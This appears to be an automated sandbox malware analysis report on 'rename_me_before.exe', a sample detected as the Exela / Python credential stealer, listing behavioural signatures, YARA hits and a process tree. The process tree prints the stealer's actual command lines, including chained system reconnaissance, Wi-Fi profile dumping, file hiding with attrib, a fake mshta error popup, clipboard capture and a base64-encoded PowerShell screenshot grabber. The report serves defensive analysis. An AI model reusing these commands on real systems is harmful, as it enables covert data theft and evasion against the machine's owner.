Edit tour

Windows Analysis Report
rename_me_before.exe

Overview

General Information

Sample name:	rename_me_before.exe
Analysis ID:	1582938
MD5:	8b8040d5875e4c41ed5091f92021a16b
SHA1:	4ebb7b91e64a7193b61a0e1405847ed13563f7d5
SHA256:	7e7597691235f0ff8a8df29ee3e54ea7a69b43b4ef727adf511e7aec749dc68a
Tags:	exeuser-Raidr
Infos:

Detection

Python Stealer, Exela Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Yara detected Exela Stealer

Yara detected Python Stealer

AI detected suspicious sample

Bypasses PowerShell execution policy

Detected generic credential text file

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Gathers network related connection and port information

Modifies existing user documents (likely ransomware behavior)

Modifies the windows firewall

Overwrites the password of the administrator account

Performs a network lookup / discovery via ARP

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Queries sensitive service information (via WMI, Win32_StartupCommand, often done to detect sandboxes)

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: MSHTA Suspicious Execution 01

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses attrib.exe to hide files

Uses cmd line tools excessively to alter registry or file data

Uses ipconfig to lookup or modify the Windows network settings

Uses netsh to modify the Windows network and firewall settings

Uses netstat to query active network connections and open ports

Yara detected Generic Python Stealer

AV process strings found (often used to terminate AV products)

Compiles C# or VB.Net code

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Queries time zone information

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Console CodePage Lookup Via CHCP

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious Group And Account Reconnaissance Activity Using Net.EXE

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

rename_me_before.exe (PID: 1396 cmdline: "C:\Users\user\Desktop\rename_me_before.exe" MD5: 8B8040D5875E4C41ED5091F92021A16B)

rename_me_before.exe (PID: 3512 cmdline: "C:\Users\user\Desktop\rename_me_before.exe" MD5: 8B8040D5875E4C41ED5091F92021A16B)

cmd.exe (PID: 4124 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2916 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 3852 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 5664 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6700 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7028 cmdline: C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 6096 cmdline: attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 1312 cmdline: C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mshta.exe (PID: 2108 cmdline: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

cmd.exe (PID: 2080 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 1460 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 4564 cmdline: C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2080 cmdline: cmd.exe /c chcp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

chcp.com (PID: 6868 cmdline: chcp MD5: 33395C4732A49065EA72590B14B64F32)

cmd.exe (PID: 6096 cmdline: C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4296 cmdline: cmd.exe /c chcp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

chcp.com (PID: 7200 cmdline: chcp MD5: 33395C4732A49065EA72590B14B64F32)

cmd.exe (PID: 3244 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 3120 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 2588 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7176 cmdline: powershell.exe Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7244 cmdline: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 7328 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

WmiPrvSE.exe (PID: 7408 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

HOSTNAME.EXE (PID: 7544 cmdline: hostname MD5: 33AFAA43B84BDEAB12E02F9DBD2B2EE0)

WMIC.exe (PID: 7564 cmdline: wmic logicaldisk get caption,description,providername MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

net.exe (PID: 7700 cmdline: net user MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 7716 cmdline: C:\Windows\system32\net1 user MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

query.exe (PID: 7732 cmdline: query user MD5: 29043BC0B0F99EAFF36CAD35CBEE8D45)

quser.exe (PID: 7752 cmdline: "C:\Windows\system32\quser.exe" MD5: 480868AEBA9C04CA04D641D5ED29937B)

net.exe (PID: 7768 cmdline: net localgroup MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 7780 cmdline: C:\Windows\system32\net1 localgroup MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

net.exe (PID: 7804 cmdline: net localgroup administrators MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 7816 cmdline: C:\Windows\system32\net1 localgroup administrators MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

net.exe (PID: 7836 cmdline: net user guest MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 7852 cmdline: C:\Windows\system32\net1 user guest MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

net.exe (PID: 7868 cmdline: net user administrator MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 7884 cmdline: C:\Windows\system32\net1 user administrator MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

WMIC.exe (PID: 7900 cmdline: wmic startup get caption,command MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

tasklist.exe (PID: 7936 cmdline: tasklist /svc MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

ipconfig.exe (PID: 7964 cmdline: ipconfig /all MD5: 62F170FB07FDBB79CEB7147101406EB8)

ROUTE.EXE (PID: 7988 cmdline: route print MD5: 3C97E63423E527BA8381E81CBA00B8CD)

ARP.EXE (PID: 8004 cmdline: arp -a MD5: 2AF1B2C042B83437A4BE82B19749FA98)

NETSTAT.EXE (PID: 8020 cmdline: netstat -ano MD5: 7FDDD6681EA81CE26E64452336F479E6)

sc.exe (PID: 8036 cmdline: sc query type= service state= all MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

netsh.exe (PID: 8052 cmdline: netsh firewall show state MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

netsh.exe (PID: 8084 cmdline: netsh firewall show config MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 7256 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 7364 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 8164 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7220 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 6316 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1668 cmdline: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA= MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 7304 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 7352 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES71B8.tmp" "c:\Users\user\AppData\Local\Temp\iqddoona\CSCE5D39DCC87804C2589D261464B53262.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

cmd.exe (PID: 5576 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7420 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

svchost.exe (PID: 7624 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
